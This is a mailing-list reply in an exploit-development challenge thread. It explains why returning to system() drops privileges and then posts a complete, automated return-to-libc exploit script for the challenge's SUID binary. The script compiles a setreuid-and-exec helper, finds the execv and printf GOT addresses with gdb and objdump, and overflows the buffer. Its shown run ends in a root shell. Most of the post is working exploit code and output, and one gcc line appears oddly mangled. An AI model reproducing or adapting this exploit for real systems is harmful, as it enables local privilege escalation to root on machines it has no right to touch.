Re: [Vuln-dev Challenge] Challenge #2 (return-to-libc)

[Joel Eriksson <je-vulndev () bitnux com>]

Spacewalker and others who did a return-to-libc sploit for vulndev-2.
Returning to system() means your command will be executed like this:

   /bin/sh -c blabla

In Linux, /bin/sh is a symlink to bash. Recent versions of bash reset
the EUID to the real UID. Many other shells also reset the EUID, since
it's pretty common to execute /bin/sh in sploits (that's why shellcodes
usually include a setuid-call before the exec, you know).

Jon Erickson AKA Jose Ronnick exploited it "for real" though, and here's
yet another working return-to-libc exploit, which uses a different approach.
As usual, the sploit is fully automated.

[je@vudo ~]$ cat expldev-2.sh
#!/bin/sh
#
# Linux/x86 exploit for vulndev-2. Version 2 (return-to-libc).
# 
# 2003-05-25 - Joel Eriksson (je at 0xbadc0ded.org)
# 

[ $# -ge 1 ] && vul=$1 || vul=./vulndev-2 ; shift

cat > expldev-2.c << EOF
#include <unistd.h>
#include <errno.h>
int main(void)
{
        setreuid(0, 0);
        execl("/bin/sh", "sh", NULL);
        perror("exec");
        return 1;
}
EOF
gcc -o '%s
' expldev-2.c

buf_size=90     # size of buffer
pad_size=2      # align to word boundary
num_reps=32     # &bfp - &buf may be > BFSIZE (padding/alignment)

cp $vul $vul.tmp # Can't trace a SUID-binary, so use a temporary file.
cat > expldev-2.gdb << EOF
file $vul.tmp
b main
r
p/x &execv
q
EOF
addr_printf=0x$(objdump -R $vul | awk '$3 == "printf" { print $1 }')
addr_execv=$(gdb -q -x expldev-2.gdb | sed -n '$,$s/.* = //p')
rm -f expldev-2.gdb $vul.tmp

perl -e 'print "\0\0\0\0" . pack("L", '$[addr_execv]')' > db.log

arg1=$(perl -e '
        print "A" x ('$[buf_size + pad_size]') .
        pack("L", '$[addr_printf - 4]') x '$num_reps
)

$vul $arg1 ""
[je@vudo ~]$ ./expldev-2.sh
sh-2.05b# whoami
root
sh-2.05b# exit
exit
[je@vudo ~]$

-- 
Joel Eriksson
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Security Research & Systems Development at Bitnux
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